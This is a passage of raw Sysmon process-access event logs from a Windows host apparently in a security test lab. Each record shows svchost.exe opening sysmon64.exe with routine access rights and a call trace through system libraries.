11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.516","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.516\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 